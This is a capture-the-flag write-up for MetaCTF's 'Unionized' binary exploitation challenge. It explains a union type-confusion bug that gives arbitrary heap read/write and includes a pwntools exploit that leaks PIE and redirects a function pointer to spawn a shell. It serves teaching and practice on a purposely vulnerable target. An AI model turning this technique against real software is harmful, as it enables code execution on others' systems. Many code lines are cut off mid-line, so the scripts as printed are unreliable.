"Unionized" - CyberGames 2021 Writeup


CAITLIN WHITEHEAD, ROMAN BOHUK

11 JAN 2022 • 10 MIN READ

Welcome to our writeup series! Blog posts like these will go over solutions to one of our old challenges and will often feature writeups by participants. We'll try to publish these regularly.

This solution was written

by Caitlin Whitehead (aka knittingirl), who represented the Knightsec team from Hack@UCF and was one of the 5 winners of the writeup competition.

Challenge Overview

> Why didn't anyone tell me about the magic of Unionized when I first started programming? I would have saved so much memory with these nifty things, don't you think? Here, try my application and tell me what you think `host.cg21.metaproblems.com:3150`.

This binary exploitation problem was solved by only 26 teams during the competition. This type of challenge (also referred to as pwn or binexp) requires participants to exploit vulnerabilities in compiled binaries and cause them to

execute arbitrary code or perform some unintended action.

This challenge was used in our CyberGames 2021 competition, and the challenges are still available for you to practice and learn. You can learn more about that event and access the content here.

To make the challenges exploitable and hide the flag, we often use a tool called xinetd to make these vulnerable binaries accessible via raw TCP connections. This is not an HTTP server, so it will not be accessible from a browser. Instead, participants can use a tool like netcat or socat to connect to the server like this: `nc host.cg21.metaproblems.com 3150`.

This particular app lets users create, display, edit, and delete "objects".

Instead of having to decompile the binary or parse through the assembly, participants were already given the source code.

Solution

TL;DR

The vulnerability lies in that the application uses a `union` data type to store pointers to strings in the same spot as ints, long

longs, and chars.

You can use the app to create an object of type string, edit it to one of the latter data types, edit the string pointer as one of those data types, and then edit the index back to being a smaller string. Any attempts to write to or read from that index will look at whatever address is pointed to by your edited string pointer, which gives you arbitrary read/write. Find the print function pointer in the heap, read from it for a PIE leak, then write the `win()` function to that section of memory and get a shell.

Environment Setup

Because of the heap offsets used in this challenge, it was very helpful to use the

same libc as the remote

same libc as the remote instance. The challenge does include Docker information, so you could run the challenge within a docker instance, but I personally prefer to run things on my actual machine, and I wanted to quickly share my methodology for this if anyone feels similarly.

Firstly, I open up the Dockerfile. The top line is "FROM debian:buster-20200803", so this is image that is being used. I pull the image, then save it to a tar archive for easy export of files:

```
knittingirl@piglet:~/CTF/me
[sudo] password for knittin
buster-20200803: Pulling fr
d6ff36c9ec48: Pull complete
Digest: sha256:1e74c92df240
Status: Downloaded newer im
docker.io/library/debian:bu
knittingirl@piglet:~/CTF/me
[sudo] password for knittin
```

```
REPOSITORY
debian
knittingirl@piglet:~/CTF/me
```

Then within a file explorer, I go into the back-up, the only layer, and the layer.tar file to reach the base directory of the file system. The libc and interpreter files are in /libx86_64-linux-gnu/, and they are named libc-2.28.so and ld-2.28.so respectively. Then I just copy them to the directory where my unionized binary is, make sure that they each have executable permissions, then use patchelf to set the path to my interpreter in a copy of the binary. See commands below:

```
knittingirl@piglet:~/CTF/me
knittingirl@piglet:~/CTF/me
```

Then I just set the `LD_PRELOAD` environment variable to use the `libc-2.28.so` file as the libc with that patched binary. The format in pwntools to use that environment variable is:

```
from pwn import *

target = process('./chall_p
```

I hope that this makes sense and is helpful if you've been struggling with docker environments and pwn challenges.

Gathering Information

So, the first step, as always, is to simply run the binary and see what happens. This shows me that I can create objects of various types, after creation, I can edit those objects as the same or

different type, I can display object contents, and despite the appearance of the menu, I can't actually delete anything.

```
knittingirl@piglet:~/CTF/me
What would you like to do?
1. Create new object
2. Display objects
3. Edit Object
4. Delete Object
5. Exit
1
What type would you like?

1. String
2. Integer
3. Long Long
4. Character
1
What size would you like yo
45
What is your data
aaaaaaaaaaaaaaaaaaaaaaaaaaa
What would you like to do?
1. Create new object
2. Display objects
3. Edit Object
4. Delete Object
5. Exit
2
aaaaaaaaaaaaaaaaaaaaaaaaaaa

What would you like to do?
1. Create new object
2. Display objects
3. Edit Object
```

```
4. Delete Object
5. Exit
3
What index would you like t
0
What type would you like?

1. String
2. Integer
3. Long Long
4. Character
2
What is your value:
87
Variable created
What would you like to do?
1. Create new object
2. Display objects
3. Edit Object
4. Delete Object
5. Exit
2
87
What would you like to do?
1. Create new object
2. Display objects
3. Edit Object
4. Delete Object
5. Exit
4
Not implemented
What would you like to do?
1. Create new object
2. Display objects
3. Edit Object
4. Delete Object
5. Exit
```

If I run checksec on the

binary, I can see that PIE is

enabled, as is NX:

```
knittingirl@piglet:~/CTF/me
[*] '/home/knittingirl/CTF/
    Arch:     amd64-64-litt
    RELRO:    Partial RELRO
    Stack:    No canary fou
    NX:       NX enabled
    PIE:      PIE enabled
```

At this point, I am ready to start reverse engineering using the generously provided C-source code. The created struct stands out immediately. It contains a union with all of the types we can use, which should be relevant based on the challenge name. It also includes a function pointer, which tends to be a target in heap-based challenges since these pointers present an easy location to overwrite.

```
struct created{
```

```
    int type;
    int size;

    union Variable {
        char * string;
        int integer;
        long long long_boi;
        char character;

    } variable;
    void (*print)();
    struct created *next;
};
```

Another obvious point of interest is the win() function. I will also note that the delete() function genuinely just does nothing aside from a puts.

```
void win(){
    system("/bin/sh");
}

void delete(){
    puts("Not implemented");
    return;
}
```

The main exploit is a little

bit harder to spot. The

create_variable() function is called by both the create() and edit() functions in order to select an input type and input contents. If I look at the case for string types, it checks if the currently requested string length exceeds that of any length entered previously for this specific object at this index. If it does, it will make a fresh, appropriately sized malloc, and the variable section of the struct will be overwritten with the pointer to that mallocced section. However, if the requested length is shorter, no fresh allocation will be made, and the string will be allocated to whatever the variable pointer is pointing to.

```
case 1:
    while(1){
```

```
        printf("What size w
        scanf("%d", &size);
        if(tmp->size < size
        {
            tmp->variable.s
            tmp->size = siz
        }
        if(!tmp->variable.s
            printf("Allocat
            sleep(1);
            continue;
        }
            break;
    }
    printf("What is your da
    read(0, tmp->variable.s
    tmp->type = 1;
    tmp->print = display_st

    break;
```

Since variable is a union that can be switched to various types, this is a very severe problem. For example, if I make object 0 a string of length 55, then I make it an int whose value is 0x5565, then try to make object 0 a string again, this time with length 35, it will not allocate a new spot on the heap for my string data. Instead, it will try to write

to the address of 0x5565; if that is not allocated memory, then we can expect a segfault. Here is that sequence of events in practice:

```
knittingirl@piglet:~/CTF/me
What would you like to do?
1. Create new object
2. Display objects
3. Edit Object
4. Delete Object
5. Exit
1
What type would you like?

1. String
2. Integer
3. Long Long
4. Character
1
What size would you like yo
55

What is your data
aaaaaaaaaaaaaaaaaaaaaaaaaaa
What would you like to do?
1. Create new object
2. Display objects
3. Edit Object
4. Delete Object
5. Exit
3
What index would you like t
0
What type would you like?

1. String
```

```
2. Integer
3. Long Long
4. Character
2
What is your value:
21861
Variable created
What would you like to do?
1. Create new object
2. Display objects
3. Edit Object
4. Delete Object
5. Exit
3
What index would you like t
0
What type would you like?

1. String
2. Integer
3. Long Long
4. Character
1
What size would you like yo
35
What is your data
bbbbbbbbbbbbbbbbbbbbbbb
Variable created
What would you like to do?

1. Create new object
2. Display objects
3. Edit Object
4. Delete Object
5. Exit
2
Segmentation fault
```

Planning the Exploit

This exploit presents a

fairly obvious opportunity for an arbitrary write; however, the presence of PIE as a defense means that I cannot, for instance, simply overwrite a GOT entry with my win function, because I do not know where the GOT is. As a result, I decided to look into a partial-overwrite strategy. If I edit strings to chars and back again, that should only overwrite the least-significant byte in my pointer. If I break on the create_variable function in GDB/GEF, as called from an edit, I can see that, if I am not overwriting anything, the string is read into a heap location as expected. In one specific instance, it is getting read into the address 0x55e909e09290. If I then look at all the addresses with the same seven most

significant bytes, i.e. ones I could write to instead by overwriting the least significant byte with a char, I see that the address for the print function pointer from the struct definition, where the address for display_string is stored in this case, is kept at 0x55e909e09270.

```
read@plt (
   $rdi = 0x000000000000000
   $rsi = 0x000055e909e0929
   $rdx = 0x000000000000001
)
...
gef➤  x/40gx 0x000055e909e0
0x55e909e09200: 0x000000000
0x55e909e09210: 0x000000000
0x55e909e09220: 0x000000000
0x55e909e09230: 0x000000000
0x55e909e09240: 0x000000000
0x55e909e09250: 0x000000000
0x55e909e09260: 0x000000140
0x55e909e09270: 0x000055e90
0x55e909e09280: 0x000000000
0x55e909e09290: 0x303030303
0x55e909e092a0: 0x000000003
0x55e909e092b0: 0x000000000
0x55e909e092c0: 0x000000000
0x55e909e092d0: 0x000000000
0x55e909e092e0: 0x000000000
```

```
0x55e909e092f0: 0x0000000000
0x55e909e09300: 0x0000000000
0x55e909e09310: 0x0000000000
0x55e909e09320: 0x0000000000
0x55e909e09330: 0x0000000000
gef➤  x/i 0x000055e909de722
   0x55e909de7226 <display_
```

If I also look at the display function, I can see that the display_string function is called because it is the function pointed to at this heap address; the contents of rax+10 are that heap address, those contents are loaded into rdx, and rdx is called.

```
 → 0x55e909de7653 <display+

   0x55e909de7657 <display+
   0x55e909de765b <display+
   0x55e909de765e <display+
   0x55e909de7663 <display+
   0x55e909de7665 <display+
──────────────────────────
[#0] Id 1, Name: "chall_pat
──────────────────────────
[#0] 0x55e909de7653 → displ
[#1] 0x55e909de7769 → main(
──────────────────────────
gef➤  x/gx $rax+0x10
0x55e909e09270: 0x000055e90
gef➤  x/i win
```

```
0x55e909de7680 <win>:
```

At this point, I have two options for my approach. I could attempt a partial overwrite of the print function pointer with the win function; however, the low two bytes of the functions differ, and only the low three nibbles of win will be known between executions, so I will have to guess one nibble for 1/16 odds of success. This is not bad, and if I did not have an alternative idea, I would have implemented this.

However, I realized that in addition to an arbitrary write, I should be able to get an arbitrary read. I can simply use the string to char to string method to input a string of length zero to the heap offset that

contains the display_string address, then use the display option to read that unedited address. I use this to get a PIE leak and find the win function's address, and from there, I can write the win function to the print pointer, overwriting the display_string address.

Writing the Exploit

One final note of housekeeping is that if you want to overwrite the print address, you do need to create a second string to char to string object and use that to overwrite the display_string address of the first object. This is because the display_string address is written to the print pointer after I write in the contents of my string, so if I try to overwrite the print pointer of the object I am currently editing, my

efforts will be overwritten and nothing will happen. I have since realized that since there is only partial RELRO, I should also be able to just overwrite a GOT function like puts with my win function and also get a shell now that I have a PIE leak.

Here is my finished script:

```
from pwn import *

target = remote('host.cg21.

# the compiled binary given
elf = ELF('chall')

def create_string(length, c
    target.sendlineafter(b'
    target.sendlineafter(b'
    target.sendlineafter(b'
    target.sendlineafter(b'

def edit_char(index, charac
    target.sendlineafter(b'
    target.sendlineafter(b'
    target.sendlineafter(b'
    target.sendlineafter(b'

def edit_string(index, leng
    target.sendlineafter(b'
    target.sendlineafter(b'
```

```
    target.sendlineafter(b'
    target.sendlineafter(b'
    target.sendlineafter(b'

def display():
    target.sendlineafter(b'

create_string(20, '0' * 20)
create_string(20, '1' * 20)

edit_char(0, b'\x70')
edit_string(0, 0, b'')

display()

leak = target.recv(6)
display_string = u64(leak +
pie_base = display_string -
win = pie_base + elf.symbol

print("Leak:", leak)
print("Display string:", he
print("Win:", hex(win))

edit_char(1, b'\x70')
edit_string(1, 8, p64(win))
display()

target.interactive()
```

And here are the results:

```
knittingirl@piglet:~$ pytho
[+] Opening connection to h
[*] '/home/knittingirl/CTF/
    Arch:     amd64-64-litt
    RELRO:    Partial RELRO
    Stack:    No canary fou
    NX:       NX enabled
```

```
    NX:       NX enabled
    PIE:      PIE enabled
Leak: b'&RP\xf0bU'
Display string: 0x5562f0505
Win: 0x5562f0505680
[*] Switching to interactiv
$ ls
chall
chall.sh
flag.txt
$ cat flag.txt
MetaCTF{****************}
```

Thanks for reading!

INFOSEC TRAINING

5 reasons a Cybersecurity CTF can help everyone on your team

A Capture-the-Flag (CTF) [https://metactf.com/companies] is a cybersecurity training activity in which individuals or teams solve a variety of cybersecurity challenges to find a hidden piece of data

METACTF
15 MAR 2022 • 3 MIN READ

MetaCTF CyberGames 2021 Recap

Overview MetaCTF CyberGames 2021 was our 7th annual capture-the-flag (CTF) competition and our largest event to date! The event was free and open to everyone, and it challenged participants of all skill levels to learn new cybersecurity techniques and skills covering a variety of

MARIAH KENNY
21 DEC 2021 • 3 MIN READ